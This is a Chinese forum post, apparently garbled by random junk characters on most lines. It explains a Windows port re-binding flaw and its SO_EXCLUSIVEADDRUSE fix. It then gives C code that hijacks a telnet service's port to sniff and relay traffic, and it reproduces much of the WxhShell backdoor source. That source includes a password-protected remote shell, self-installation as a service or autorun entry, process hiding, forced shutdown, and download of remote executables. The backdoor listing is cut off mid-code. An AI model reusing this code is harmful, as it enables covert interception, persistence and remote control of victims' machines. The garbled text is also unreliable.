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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CsZm8oL$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ac U@H0  
AwG0E `SU  
  saddr.sin_family = AF_INET; )dfhy  
]^"Lc~w8&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }Ecv6&G  
|*t2IVwX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f@;pN=PS  
WS[Z[O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RI8*'~ix]  
VLm\PS   
  这意味着什么?意味着可以进行如下的攻击: Ph P)|P  
~4+Y BN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h.R46:  
O W.CU=XU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X(/fE?%;  
VX8rM!3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1_{e*=/y  
H4`>B>\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .pPuBJL]<  
-}<Ru)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wzy[sB274  
J#C4A]A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +#wVe  
H,TApF89A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "=DQ {(L  
WwsNAJ  
  #include wA$?e}  
  #include 7HW:;2dL  
  #include yL asoh  
  #include    <|k :%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .b_ppieNY  
  int main() y2+f)Xp_.C  
  { BC!) g+8  
  WORD wVersionRequested; C _he=SV  
  DWORD ret; VB905%  
  WSADATA wsaData; F#|y,<}<  
  BOOL val; kO}%Y?9d  
  SOCKADDR_IN saddr; Mw,]Pt6~i  
  SOCKADDR_IN scaddr; @ ,oc%m  
  int err; 3q`f|r  
  SOCKET s; MD$W;rk(Hn  
  SOCKET sc; }^$#vJ(a7K  
  int caddsize; ;R0LJApey  
  HANDLE mt; HYO/]\al  
  DWORD tid;   +)yoQRekX  
  wVersionRequested = MAKEWORD( 2, 2 ); [nHN@ p|  
  err = WSAStartup( wVersionRequested, &wsaData ); vmNo~clt\  
  if ( err != 0 ) { %Y0lMNP  
  printf("error!WSAStartup failed!\n"); xkFa  
  return -1; [?N,3  
  } rPy,PQG2w  
  saddr.sin_family = AF_INET; j)8$hK/e0.  
   ">=Ep+ix  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 to).PI?  
r&xIVFPI[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H2|'JA#v  
  saddr.sin_port = htons(23); x7 e0&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F^{31iU~CX  
  { 'eBD/w5U  
  printf("error!socket failed!\n"); e=h-}XRC  
  return -1; 5D<Zbn.>q  
  } -cUbIbW  
  val = TRUE; *2/qm:gB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HdlO Ga6C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G0h&0e{w  
  { KsIHJr7-  
  printf("error!setsockopt failed!\n"); $yU}56(z~  
  return -1; <= _!8A  
  } BYdG K@ouk  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8aHE=x/TL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [L-wAk:Fb  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Kn$t_7AF^  
?`Z:vqp>Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {Pe&J2 +  
  { g]h@U&`~u_  
  ret=GetLastError(); pvl];w  
  printf("error!bind failed!\n"); eXsp0!v  
  return -1; ~rI2 RJ  
  } 'wFhfZB1!B  
  listen(s,2); ?4wl  
  while(1) ]6^S: K_"  
  { 4xT /8>v2|  
  caddsize = sizeof(scaddr); #\N8E-d  
  //接受连接请求 /zh:7N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1O,5bi>t7  
  if(sc!=INVALID_SOCKET) 4E=QO!pVv  
  { Chl^LEN:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !oi {8X@  
  if(mt==NULL) 9ec?L  
  { ye(av&Hn  
  printf("Thread Creat Failed!\n"); %VB4/~ "  
  break; sa<\nH$_X  
  } ;~r-P$kCY  
  } 4sSw7`  
  CloseHandle(mt); }s?w-u+(c6  
  } |1H9,:*%  
  closesocket(s); n|WSnm,W  
  WSACleanup(); &b,A-1`w_  
  return 0; dm"x?[2:  
  }   f uU"  
  DWORD WINAPI ClientThread(LPVOID lpParam)  l #]#_  
  { xc-[gt6  
  SOCKET ss = (SOCKET)lpParam; Qt\:A!'jw  
  SOCKET sc; UxB3/!<5g3  
  unsigned char buf[4096]; 9G6ZKqum  
  SOCKADDR_IN saddr; A`~?2LH,~F  
  long num; (qR;6l  
  DWORD val; vq9O|E3  
  DWORD ret; IDpLf*vSG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `K@N\VM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   lxZ9y  
  saddr.sin_family = AF_INET; {4SaS v^/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m4uh<;C~  
  saddr.sin_port = htons(23); dm_Pz\ *  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qp*~  |  
  { %L)QTv/  
  printf("error!socket failed!\n"); BE&8E\w  
  return -1; )mAD<y+  
  } JgHYuLB  
  val = 100; 6)=;cc{Vr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6NyUGGRq  
  { F5H*z\/={  
  ret = GetLastError(); {=Ji2k0U'  
  return -1; rFt +Y})  
  } gkTwGI+w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -;6uN\gq  
  { [V8^}s}tF  
  ret = GetLastError(); ^; U}HAY  
  return -1; )#4(4 @R h  
  } N0$ uB"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z*b|N45O  
  { wZCboQ,  
  printf("error!socket connect failed!\n"); ;[Xf@xf  
  closesocket(sc); 9X1vL  
  closesocket(ss); c*axw%Us  
  return -1; h7.jWJTo  
  } u f<%!=e  
  while(1) W:j9KhvT  
  { F#Pn]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ">8oF.A^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z/GSR$@lI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dEkST[Y3  
  num = recv(ss,buf,4096,0); Ed;!A(64r  
  if(num>0) zA|lbJz=GY  
  send(sc,buf,num,0); =d~pr:.F  
  else if(num==0) ub1~+T'O  
  break; MUtM^uY  
  num = recv(sc,buf,4096,0); <WmjjD  
  if(num>0) .MDSP/s  
  send(ss,buf,num,0); *yZta:(w-W  
  else if(num==0) >}0H5Q8@  
  break; 1PWi~1q{Q  
  } 3 AP=  
  closesocket(ss); Yc)Dx3  
  closesocket(sc); &{wRBl#  
  return 0 ; Ln+.$ C  
  } S+eu3nMq  
%0vsm+XQ0E  
I:al[V2g  
========================================================== l.;^w  
i(e=  
下边附上一个代码,,WXhSHELL 4 u0?[v[Hu  
6_rgRo&  
========================================================== U"UsQYa_  
@kT@IQkri  
#include "stdafx.h" i-WP#\s  
&>Y.$eW_  
#include <stdio.h> (VCJn<@@  
#include <string.h> GqP02P'2  
#include <windows.h> 9&kPcFX B  
#include <winsock2.h> ^*y 1Fn0  
#include <winsvc.h> 4 8; b  
#include <urlmon.h> XfIsf9  
#{k+^7aQ  
#pragma comment (lib, "Ws2_32.lib") ?mVSc/  
#pragma comment (lib, "urlmon.lib") u]9 #d^%V  
o?= &kx  
#define MAX_USER   100 // 最大客户端连接数 Jfv'M<I  
#define BUF_SOCK   200 // sock buffer qM Qu!%o  
#define KEY_BUFF   255 // 输入 buffer zrE{CdG%y  
h<CRW-  
#define REBOOT     0   // 重启 OYa9f[$  
#define SHUTDOWN   1   // 关机 |{%$x^KyJ  
_x$Eq: i  
#define DEF_PORT   5000 // 监听端口 6I _4{  
cV`NQt<W  
#define REG_LEN     16   // 注册表键长度 v$;URF%^  
#define SVC_LEN     80   // NT服务名长度 ,k@i Nid  
"ZNy*.G|[  
// 从dll定义API ?< Ma4yl</  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D^t: R?+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LZ(K{+U/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'c/8|9jX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kj?hcG l[  
D~Q -:G$x  
// wxhshell配置信息 ycIcM~<4  
struct WSCFG { 1Z(9<M1!M  
  int ws_port;         // 监听端口 W=HHTvK9Hh  
  char ws_passstr[REG_LEN]; // 口令 ]_!NmB_3  
  int ws_autoins;       // 安装标记, 1=yes 0=no p ]s)Xys  
  char ws_regname[REG_LEN]; // 注册表键名 ]}&HvrOld  
  char ws_svcname[REG_LEN]; // 服务名 ^H&`e"|R9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #?>p l.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cnY}^_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  Cz&t*i/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no * +6Z^ 7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3:OqD~,zy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ka`}lR  
p~(STHDe#  
}; ~e]l  
(2 hI  
// default Wxhshell configuration t="nmjQs  
struct WSCFG wscfg={DEF_PORT, OSJj^Y)W|  
    "xuhuanlingzhe", NQOf\.#g  
    1, j(pe6  
    "Wxhshell", rof9Rxxe-  
    "Wxhshell",  ME5M;bz(  
            "WxhShell Service", PyQ\O*  
    "Wrsky Windows CmdShell Service", d7Cs a c  
    "Please Input Your Password: ", c[vFh0s"m  
  1, BryD?/}P)M  
  "http://www.wrsky.com/wxhshell.exe", O2lM;="  
  "Wxhshell.exe" \ZSqZDq  
    }; :"i2`y;u  
( p CU:'"  
// 消息定义模块 e!k4Ij-]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YQ1rS X3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %r(qQM.Pl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SapVS*yx@  
char *msg_ws_ext="\n\rExit."; Cs vwc%  
char *msg_ws_end="\n\rQuit."; cwHbm%  
char *msg_ws_boot="\n\rReboot..."; :pvVm>  
char *msg_ws_poff="\n\rShutdown..."; ]% G#x  
char *msg_ws_down="\n\rSave to "; [KW)z#`*  
zCS }i_ p  
char *msg_ws_err="\n\rErr!"; cw_B^f8^  
char *msg_ws_ok="\n\rOK!"; VEL!-e^X&  
3r?T|>|  
char ExeFile[MAX_PATH]; .\ vrBf  
int nUser = 0; K'K/}q<  
HANDLE handles[MAX_USER]; LF:~& m  
int OsIsNt; G}]'}FUp  
[xdVuL;N  
SERVICE_STATUS       serviceStatus; j0=H6Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9`&sZ|"3  
}n,LvA@[0  
// 函数声明 1 :{+{Yl7  
int Install(void); =[TXH^.0  
int Uninstall(void); Q:ql~qew  
int DownloadFile(char *sURL, SOCKET wsh); dL1{i,M  
int Boot(int flag); A(+V{1 L'  
void HideProc(void); s`]SK^j0  
int GetOsVer(void); G2=d q  
int Wxhshell(SOCKET wsl); 4~d:@Gmk&  
void TalkWithClient(void *cs); `0u)/s$  
int CmdShell(SOCKET sock); 530Kk<%^}8  
int StartFromService(void); ' 1dhdm8  
int StartWxhshell(LPSTR lpCmdLine); S} &1_I  
T7?z0DKi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5m>f1`4JS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t<^7s9r;I  
3)(uC+?[  
// 数据结构和表定义 7G Jhc  
SERVICE_TABLE_ENTRY DispatchTable[] = H.t fn>N|  
{ 0^d<@\  
{wscfg.ws_svcname, NTServiceMain}, |g<l|lqz|  
{NULL, NULL} R0q|{5S  
}; DKNcp8<J  
#)%X0%9.*<  
// 自我安装 &5%~Qw..  
int Install(void) |Fx~M,Pzg  
{ 1b2xWzpG  
  char svExeFile[MAX_PATH]; 5E${  
  HKEY key; %^u e  
  strcpy(svExeFile,ExeFile); ^>y|{;`  
\rH0=~F-P  
// 如果是win9x系统,修改注册表设为自启动 aMxM3"  
if(!OsIsNt) { ABq#I'H#@2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ou|kb61zg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uPb.uG  
  RegCloseKey(key); r;"Qu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GCxmqoQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k+eeVy  
  RegCloseKey(key); <^e  
  return 0; +rDKx(Rk  
    } ?]_A~_J!  
  } - G=doP0  
} U@}P]'`'f  
else { `mS0]/AV/  
7aHP;X~0  
// 如果是NT以上系统,安装为系统服务 PD^Cj?wm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ztC,[   
if (schSCManager!=0) tSTl#xy  
{ 8`|Z9umW*  
  SC_HANDLE schService = CreateService }~v0o# I  
  ( NU 3s^ 8\(  
  schSCManager, f!B\X*|  
  wscfg.ws_svcname, A%EGu4  
  wscfg.ws_svcdisp, {w v{"*Q9Q  
  SERVICE_ALL_ACCESS, i~{0>"9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 85:mh\@-G  
  SERVICE_AUTO_START, -Y>QKS  
  SERVICE_ERROR_NORMAL, 'lgS;ItpKu  
  svExeFile, #*"I?B/fd8  
  NULL, 8HWEObRY  
  NULL, fQ f5%  
  NULL, 3AcDW6x|  
  NULL, Et;Ubj"+  
  NULL j__l'?s  
  ); [-nPHmZV[  
  if (schService!=0) u X(#+  
  { kM7 6?M  
  CloseServiceHandle(schService); o4YF,c+>q  
  CloseServiceHandle(schSCManager); ]QF*\2b-I2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $KsB'BZy  
  strcat(svExeFile,wscfg.ws_svcname); .h@bp1)l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Tqx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F^!_!V B  
  RegCloseKey(key); ~AcjB(  
  return 0; J>+~//C  
    } zHXb[$ Q  
  } v;Rm42k  
  CloseServiceHandle(schSCManager); A/~^4DR  
} +GNXV-S  
} [XD3}'Aa  
fLuOxYQbf  
return 1; )24 1-b V  
} vZ|Wj] ;o  
*>jJ<8!  
// 自我卸载 2-rfFqpe  
int Uninstall(void) F441K,I  
{ odTIz{9qG  
  HKEY key; N{K[sXCW  
jjg[v""3|  
if(!OsIsNt) { @KU^B_{i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (_Rl f$D  
  RegDeleteValue(key,wscfg.ws_regname); ;@<e]Ft  
  RegCloseKey(key); _TVKvRh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { if+97^Oy  
  RegDeleteValue(key,wscfg.ws_regname); b2hXFwPe  
  RegCloseKey(key); lkb,UL;V  
  return 0; D|/ 4),v  
  } ^7Z.~A y  
} Y-]Ne"+vf  
} xepp."O  
else {  SB^xq  
+QEiY~i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F>aaUj  
if (schSCManager!=0) }J_#N.y  
{ #$u7:p [t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f}Uf* Bp  
  if (schService!=0) (q=),3/<pU  
  { P?<G:]W  
  if(DeleteService(schService)!=0) { nOU.=N v`  
  CloseServiceHandle(schService); *YP;HL  
  CloseServiceHandle(schSCManager); H) q_9<;  
  return 0; {BD G;e  
  } x,QXOh\a  
  CloseServiceHandle(schService); Jy-V\.N>s  
  } 8LGNV&Edg  
  CloseServiceHandle(schSCManager); OJ<V<=MYZ  
} l'Uj"9r,  
} +LaR_n[  
(CY#B%*  
return 1; g 4lk  
} 5:SS2>~g  
}%S#d&wh$_  
// 从指定url下载文件 w!52DBOe+  
int DownloadFile(char *sURL, SOCKET wsh) < !PbD  
{ p^ )iC&*0  
  HRESULT hr; DP!~WkU~  
char seps[]= "/"; 2h`Tn{&1/  
char *token; --F6n/>  
char *file; {A{sRT=%  
char myURL[MAX_PATH]; qyR}|<F8*  
char myFILE[MAX_PATH]; J|DY /v  
_kUtj(re  
strcpy(myURL,sURL); t:tIzFNv  
  token=strtok(myURL,seps); \T^ptj(0  
  while(token!=NULL) Z<[:v2  
  { f SMy?8  
    file=token; T!t9`I0Zz  
  token=strtok(NULL,seps); dEPLkv  
  } x+W,P  
&LHS<Nv^:  
GetCurrentDirectory(MAX_PATH,myFILE); /vw$3,*z  
strcat(myFILE, "\\"); e9rgJJ  
strcat(myFILE, file); Lwkl*  
  send(wsh,myFILE,strlen(myFILE),0); ^NFL3v8  
send(wsh,"...",3,0); {,e-; 2q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J{PNB{v  
  if(hr==S_OK) G@o\D-$  
return 0; $)VnHr `hy  
else uS5ADh  
return 1; WL}XD Kx  
B<&g  
} `5MK(K :  
e}TDo`q  
// 系统电源模块 l|K$6>80  
int Boot(int flag) HD>UTX`&mc  
{ >yqFO  
  HANDLE hToken; I"HA( +G  
  TOKEN_PRIVILEGES tkp; f^G-ba  
Er<!8;{?  
  if(OsIsNt) { oVIc^yk5a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RdLk85<n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `':G92}#  
    tkp.PrivilegeCount = 1;  OF O,5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &|fWtl;43  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @J<RFgw#  
if(flag==REBOOT) { !Mj28  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3% O[W  
  return 0; Fq'Ds[wd5  
} {Hzj(c~S?  
else { YGOhUT |  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;.3 {}.Y  
  return 0; o8N,mGj}  
} x,TnYqT^  
  } B9S@G{`  
  else { 'm.+S8  
if(flag==REBOOT) { Dao=2JB{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  !xEGN@  
  return 0; }z-6,i)'k  
} 0t6DD  
else { =!IoL7x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _a  zJ>  
  return 0; }N"YlGY\Yn  
} !JA//{?  
} ` pfRY!  
kQO-V4z!  
return 1; ^CP>|JWD^  
} 05o<fa2HE  
W;|%)D)y  
// win9x进程隐藏模块 'q1cc5(ueV  
void HideProc(void) +nL#c{  
{ j5rMY=|F  
VUZeC,FfO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W>&!~9H  
  if ( hKernel != NULL ) 5jHr?C  
  { ,iXQ"):!OB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *s|'V+1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j eyGIY  
    FreeLibrary(hKernel); i-R}O6  
  } L)"CE].  
j8;Uny9  
return; X}`39r.  
} Uz%2{HB@{  
yacN=]SW5  
// 获取操作系统版本 $ J!PSF8PL  
int GetOsVer(void) X~Hm.qIR  
{ >~L0M  
  OSVERSIONINFO winfo; ;Swy5z0=ro  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g1~wg$`S8S  
  GetVersionEx(&winfo); L+8O 4K{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s \0,@A   
  return 1; 9s?gI4XN  
  else I?_WV_T&  
  return 0; x;A.Ll  
} Av!xI  
|v_ttJ;+Y  
// 客户端句柄模块 LR3>_t  
int Wxhshell(SOCKET wsl) RM>A9nv$\  
{ vK$wc~  
  SOCKET wsh; ,@\z{}~v  
  struct sockaddr_in client; e<+b?@}=B  
  DWORD myID; -?NAA]P5c@  
\s7/`  
  while(nUser<MAX_USER) cJzkA^T9  
{ |nBZ:$D  
  int nSize=sizeof(client);  '3xK1Am  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l YpoS  
  if(wsh==INVALID_SOCKET) return 1; ^#U[v7y  
se*k56,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >v )V2,P -  
if(handles[nUser]==0) < Df2  
  closesocket(wsh); \=Od1i  
else 8L5O5F'  
  nUser++; gObafIA  
  } K|=va>   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jtgj h\Nt  
nK#%Od{GF  
  return 0; .9vt<<Kwh  
} $.4N@=s,?c  
o $'K}U  
// 关闭 socket K9 +\Z  
void CloseIt(SOCKET wsh) @T J  
{ _}.WRFIJ@L  
closesocket(wsh); p5l|qs  
nUser--; C$4{'J-ZH  
ExitThread(0); H'Jz:6   
} 3Pvz57z{  
4K*st8+bl-  
// 客户端请求句柄 ~RV"_8`V9  
void TalkWithClient(void *cs) &a)d,4e<M  
{ HhwAzk/G~  
X$_pDF&\z  
  SOCKET wsh=(SOCKET)cs; S3&n?\CO:  
  char pwd[SVC_LEN]; FsS.9 `B  
  char cmd[KEY_BUFF]; *:ErZ UyQM  
char chr[1]; )nrYxxN  
int i,j; )>@%;\qV  
rp|A88Q/!  
  while (nUser < MAX_USER) { 35L\  
7MsJ*E n  
if(wscfg.ws_passstr) { HubK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NDJP`FI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t:b}Mo0  
  //ZeroMemory(pwd,KEY_BUFF); W j`f^^\HJ  
      i=0; |Qn>K   
  while(i<SVC_LEN) { @r(3   
&"7+k5O  
  // 设置超时 M>xT\  
  fd_set FdRead; #/H Z[Vw  
  struct timeval TimeOut; Q:Ma3El\  
  FD_ZERO(&FdRead); pJuD+v  
  FD_SET(wsh,&FdRead); [~c_Aa+6N  
  TimeOut.tv_sec=8; v# e*RI2}  
  TimeOut.tv_usec=0; +.zX?}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1 hD(l6tG@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gw^W6v  
q *kLi~ Oe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9FPqd8(]*V  
  pwd=chr[0]; 2#N?WlYw<S  
  if(chr[0]==0xd || chr[0]==0xa) { ,aIkiT  
  pwd=0; =Aw`0  
  break; 1DGl[k/zv  
  } kSEgq<i!  
  i++; 4p%^?L?  
    } ')/w+|F  
6OqF-nso[E  
  // 如果是非法用户,关闭 socket  VF g(:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .[Qi4jm>`  
} \fp'=&tp~a  
 cp0yr:~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~(B%E'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W }v ,6Oe  
c'mg=jH  
while(1) { \:+ NVIN  
A[F_x*S  
  ZeroMemory(cmd,KEY_BUFF); pl$wy}W-  
$wDSED -  
      // 自动支持客户端 telnet标准   |*M07Hc x  
  j=0; 9e.$x%7j  
  while(j<KEY_BUFF) { ^%tn$4@@Z.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %e)? Mem  
  cmd[j]=chr[0]; 5\h6'  
  if(chr[0]==0xa || chr[0]==0xd) { yXqC  
  cmd[j]=0; yPg0 :o-  
  break; ;Sg,$`]  
  } i0*Cs#(=h  
  j++; T Qx<lw  
    } 57O|e/2  
IZ87Px>zL  
  // 下载文件 wQ[!~>A  
  if(strstr(cmd,"http://")) { y]+[o1]-c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {fjBa,o #  
  if(DownloadFile(cmd,wsh)) | g1Cs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @"wX#ot  
  else /a)^)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LROrhO  
  } P1Eg%Y6  
  else { {u -J?(s}  
6']G HDK  
    switch(cmd[0]) { k'+y  
  d_ x jW  
  // 帮助 MZxU)QW1  
  case '?': { '=xO?2U-Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 72_+ b  
    break; Jd',v  
  } }EP}D?Mmu  
  // 安装 ii>^]iT  
  case 'i': { /I{K_G@  
    if(Install()) 8&3& ^!I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p"- %~%J=  
    else a .?AniB0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _+H $Pa}?  
    break; YB!f=_8  
    } W\ mgM2p  
  // 卸载 0)7v _|z  
  case 'r': { +5 gX6V\  
    if(Uninstall()) fEiNHVx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] w0Y5H "  
    else {47Uu%XT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +$#XV@@~  
    break; aof'shS8  
    } b5I 8jPj4c  
  // 显示 wxhshell 所在路径 gm =C0Sp?  
  case 'p': { wy{ sS}  
    char svExeFile[MAX_PATH]; :ln?PT  
    strcpy(svExeFile,"\n\r"); w4_Xby)  
      strcat(svExeFile,ExeFile); i_QiE2d  
        send(wsh,svExeFile,strlen(svExeFile),0); d$xvM  
    break; _wX(OB  
    } 3<N2ehi?  
  // 重启 {v|ib112;  
  case 'b': { F!Cn'*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <a&xhG}  
    if(Boot(REBOOT)) _HjB'XNr(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SuNc&e#(  
    else { BwGOn)KL  
    closesocket(wsh); G N=8;Kq%  
    ExitThread(0); R y(<6u0  
    } B&<5VjZ\  
    break; MgN;[4|[h  
    } z`I%3U5(  
  // 关机 ,?IXfJ`c  
  case 'd': { G2 V$8lh  
